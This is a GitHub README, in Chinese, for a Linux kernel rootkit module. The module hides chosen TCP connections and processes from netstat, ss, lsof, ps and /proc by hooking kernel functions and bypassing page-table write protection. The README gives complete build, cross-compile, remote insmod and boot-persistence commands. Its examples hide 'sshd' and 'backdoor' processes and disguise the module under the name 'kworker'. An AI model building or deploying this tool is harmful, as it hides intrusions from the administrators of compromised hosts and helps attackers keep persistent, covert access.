Skip to content

queasy-ma/NET_HIDE-LKM

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

TCP连接 & 进程隐藏内核模块

Linux 内核模块,从系统工具中隐藏指定的 TCP 连接和进程。

网络隐藏 — 对 netstatsslsofcat /proc/net/tcp(6) 不可见
进程隐藏 — 对 pstophtopls /proc 不可见
双栈支持 — IPv4 / IPv6

编译环境

x86_64 Linux,需要 GCC、Make 和当前内核的头文件。

# Debian / Ubuntu
apt install -y build-essential linux-headers-$(uname -r)

# CentOS / RHEL 7
yum install -y gcc make kernel-devel-$(uname -r)

# CentOS / RHEL 8+ / Fedora
dnf install -y gcc make kernel-devel-$(uname -r)

验证头文件就位:ls /lib/modules/$(uname -r)/build/Makefile

兼容性

发行版 内核版本 网络隐藏 进程隐藏
CentOS 7 3.10.x
Debian 11 5.10.x
Ubuntu 22.04 5.15.x
6.x 系列 6.1+

🚀 快速开始

编译、加载、卸载

# 编译(隐藏SSH连接 + sshd进程)
make RULES="22,-,-,-" PROC="sshd"

# 加载
sudo make install

# 卸载
sudo make uninstall

# 清理(修改配置前必须先执行)
make clean

配置参数

参数 说明 默认值
RULES 网络隐藏规则(分号分隔多条) 空(不隐藏)
PROC 进程隐藏列表(逗号分隔多个) 空(不隐藏)
MOD 自定义模块名(生成 MOD.ko,dmesg 前缀随之变化) hidemod
DEBUG 调试日志(1=启用,0=关闭) 0
KDIR 内核构建路径(交叉编译时指定) /lib/modules/$(uname -r)/build

RULES 格式

sport,dport,saddr,daddr
  • sport / dport:端口号,- 表示不过滤
  • saddr / daddr:IPv4 或 IPv6 地址,- 表示不过滤
  • 多条规则用分号 ; 分隔

示例

# 隐藏所有SSH连接(源端口22)
make RULES="22,-,-,-"

# 隐藏到Web服务器的连接(目标端口80和443)
make RULES="-,80,-,-;-,443,-,-"

# 隐藏来自特定IP的所有连接
make RULES="-,-,192.168.1.100,-"

# 隐藏特定IPv6地址的连接
make RULES="-,-,240e:39a:323:e50::1,-"

# 只隐藏进程,不隐藏网络
make PROC="myagent,backdoor"

# 隐藏SSH连接 + sshd + sftp-server进程,自定义模块名
make MOD=kworker RULES="22,-,-,-" PROC="sshd,sftp-server"

# 启用调试日志
make RULES="22,-,-,-" PROC="sshd" DEBUG=1

验证效果

# 网络隐藏
netstat -tlnp       # 被隐藏的连接不应出现
ss -tlnp             # 同上
cat /proc/net/tcp    # 同上

# 进程隐藏
ps aux | grep sshd       # 被隐藏的进程不应出现
ls /proc | sort -n       # 被隐藏的 PID 目录不应出现

帮助

make help

交叉编译(编译机 ≠ 目标机)

.ko 在开发机上编译好,传输到目标主机加载。

⚠️ 编译机的发行版必须与目标机一致或尽量接近。

内核模块编译不仅依赖内核头文件,还受 GCC 版本、工具链、系统头文件影响。跨度过大的组合(如在 Ubuntu 24.04 上为 CentOS 7 编译)几乎一定失败:

  • GCC 版本不匹配:目标内核的 vermagic 记录了编译器版本,版本差距过大会产生不兼容的目标代码或编译报错
  • 工具链差异binutilsld 版本可能与内核构建系统预期不一致
  • 系统头文件冲突:内核头文件中某些路径会回退到系统头文件,跨发行版时可能引入不一致的类型定义

推荐做法

  • CentOS 7 目标 → CentOS 7 编译(或 Docker centos:7
  • Debian 11 目标 → Debian 11 或 12 编译
  • Ubuntu 22.04 目标 → Ubuntu 22.04 或 20.04 编译

方案一:Docker 容器编译(推荐)

无需搭建编译环境,一条命令完成:

# 目标机 CentOS 7
docker run -it --rm -v $(pwd):/src centos:7 bash
yum install -y gcc make kernel-devel-3.10.0-1160.el7.x86_64
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker

# 目标机 Debian 11
docker run -it --rm -v $(pwd):/src debian:11 bash
apt update && apt install -y build-essential linux-headers-5.10.0-20-amd64
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker

# 目标机 Ubuntu 22.04
docker run -it --rm -v $(pwd):/src ubuntu:22.04 bash
apt update && apt install -y build-essential linux-headers-5.15.0-50-generic
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker

编译完成后 kworker.ko 在当前目录,直接传到目标机加载。

方案二:手动交叉编译

1. 获取目标主机信息

# 在目标主机上执行
uname -r             # 内核版本,如 3.10.0-1160.el7.x86_64
cat /etc/os-release  # 发行版
cat /proc/version    # 编译内核时的 GCC 版本

2. 在编译机上安装目标内核头文件

编译机与目标机同发行版时,直接安装:

# Debian / Ubuntu
apt install linux-headers-5.10.0-20-amd64

# CentOS / RHEL
yum install kernel-devel-3.10.0-1160.el7.x86_64

目标机无法安装头文件或离线环境,只要知道 uname -r 即可从包仓库下载:

# CentOS — 下载 rpm
yumdownloader kernel-devel-3.10.0-1160.el7.x86_64
# 或从 vault 手动下载
wget https://vault.centos.org/7.9.2009/os/x86_64/Packages/kernel-devel-3.10.0-1160.el7.x86_64.rpm

# Debian / Ubuntu — 下载 deb
apt download linux-headers-5.10.0-20-amd64
# 或从 packages.debian.org / packages.ubuntu.com 手动下载

传到编译机后安装或仅解压:

# 安装
rpm -ivh kernel-devel-*.rpm          # CentOS
dpkg -i linux-headers-*.deb          # Debian

# 仅解压(不污染编译机系统)
mkdir -p /opt/target-headers
rpm2cpio kernel-devel-*.rpm | (cd /opt/target-headers && cpio -idmv)
# 头文件在 /opt/target-headers/usr/src/kernels/3.10.0-xxx/

# Debian
dpkg -x linux-headers-*.deb /opt/target-headers/
# 头文件在 /opt/target-headers/usr/src/linux-headers-xxx/

从目标主机拷贝(如果目标机已有头文件):

# 目标主机上打包
tar czf kernel-headers.tar.gz -C /lib/modules/$(uname -r) build source 2>/dev/null

# 编译机上解压
KVER=3.10.0-1160.el7.x86_64
mkdir -p /lib/modules/$KVER
tar xzf kernel-headers.tar.gz -C /lib/modules/$KVER

注意:某些发行版(如 CentOS)的 build 是指向 source 的符号链接,需确保两者都拷贝且链接关系正确。

目标机运行自编译内核时,从源码生成头文件:

# 获取目标机的内核配置
scp target:/boot/config-$(uname -r) target.config
# 或: cat /proc/config.gz | gunzip > target.config

# 下载对应版本源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.10.tar.xz
tar xf linux-5.10.tar.xz && cd linux-5.10

# 仅生成头文件(不编译内核,几分钟)
cp ../target.config .config
make oldconfig && make modules_prepare

3. 编译

# KDIR 指向目标内核头文件路径
make KDIR=/lib/modules/3.10.0-1160.el7.x86_64/build \
     RULES="22,-,-,-" PROC="sshd" MOD=kworker

# 或解压到非标准路径时
make KDIR=/opt/target-headers/usr/src/kernels/3.10.0-1160.el7.x86_64 \
     RULES="22,-,-,-" PROC="sshd" MOD=kworker

4. 传输并加载

scp kworker.ko target:/tmp/
ssh target "insmod /tmp/kworker.ko"

常见编译问题

/lib/modules/.../build: No such file or directory — 未安装目标内核头文件,按上述步骤安装。

version magic ... should be ... — 头文件版本与目标内核不匹配。modinfo xxx.ko 查看 vermagic,必须与 uname -r 完全一致。

gcc: error: unrecognized command line option '-mXXX' — 编译机 GCC 版本与目标内核差距过大。最可靠的解决方式是使用与目标机相同发行版的 Docker 容器编译。


远程部署

编译完成后只需要一个 .ko 文件,目标主机不需要源码、Makefile 或头文件。

# 传输并加载
scp kworker.ko user@target:/tmp/
ssh user@target "sudo insmod /tmp/kworker.ko"

# 验证
ssh user@target "lsmod | grep kworker"
# 查看日志(仅 DEBUG=1 时有输出)
ssh user@target "sudo dmesg | tail -20"

# 卸载
ssh user@target "sudo rmmod kworker"

开机自动加载(可选)

# 方法1:内核模块目录(systemd 系统)
sudo cp kworker.ko /lib/modules/$(uname -r)/extra/
sudo depmod -a
echo "kworker" | sudo tee /etc/modules-load.d/kworker.conf

# 方法2:rc.local(无 systemd 的旧系统)
echo "insmod /opt/kworker.ko" >> /etc/rc.local

注意事项

  • 内核升级后 .ko 必须重新编译,版本不匹配会拒绝加载
  • modinfo kworker.ko 查看 vermagic,与 uname -r 对比确认
  • insmod 失败时 dmesg | tail 查看原因
  • insmod -f 可强制加载版本不匹配的模块,但极不推荐,可能导致内核崩溃

工作原理

网络连接隐藏

通过 hook 内核的 tcp4_seq_show / tcp6_seq_show(netstat 路径)和 recvmsg(ss 路径)实现:

内核版本 netstat / cat /proc/net/tcp ss
3.10 - 3.19 直接替换 seq_operations.show syscall_table hook recvmsg
3.20 - 4.8 直接替换 seq_operations.show ❌ 无隐藏
4.9 - 4.16 ftrace hook tcp4/tcp6_seq_show ftrace hook sys_recvmsg
4.17+ ftrace hook tcp4/tcp6_seq_show ftrace hook __x64_sys_recvmsg(pt_regs)

进程隐藏

通过替换 /proc 目录的 iterate_shared / iterate / readdir 回调实现:

内核版本 Hook 方式
3.10 file_operations.readdir + filldir_t
3.11 - 4.6 file_operations.iterate + dir_context
4.7+ file_operations.iterate_shared + dir_context
6.1+ filldir_t 返回类型由 int 变为 bool

写保护绕过:通过 lookup_address() 直接修改页表项 _PAGE_RW 位 + invlpg 刷新 TLB,兼容 5.10+ 内核对 CR0.WP 的保护。

配置系统

Makefile 在编译时自动生成 config.h,通过 RULE_COUNT / PROC_RULE_COUNT 控制条件编译。当计数为 0 时对应子模块编译为空函数,零开销。修改配置需先 make clean 再重新编译。


限制

  1. 仅支持 x86_64 架构(进程隐藏依赖 x86 页表操作和 invlpg 指令)
  2. 仅支持 TCP 连接隐藏(不支持 UDP)
  3. 规则只能在编译时配置,不支持运行时动态更新
  4. 进程名匹配基于 task->comm,最长 15 字符
  5. iptables / nftables 规则查看不受影响(使用不同的内核路径)
  6. 3.20 - 4.8 内核不支持 ss 隐藏(netstat 隐藏正常工作)
  7. 内核升级后必须使用新内核的头文件重新编译

About

这是一个用于隐藏特定ipv4、ipv6 TCP连接的Linux内核模块,通过hook `tcp4_seq_show` 和 `recvmsg`函数实现对特定连接的过滤。 可用的命令如:`netstat` `ss` `lsof` `systemd-socket-status` `cat /proc/net/tcp` ...,也可隐藏进程

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors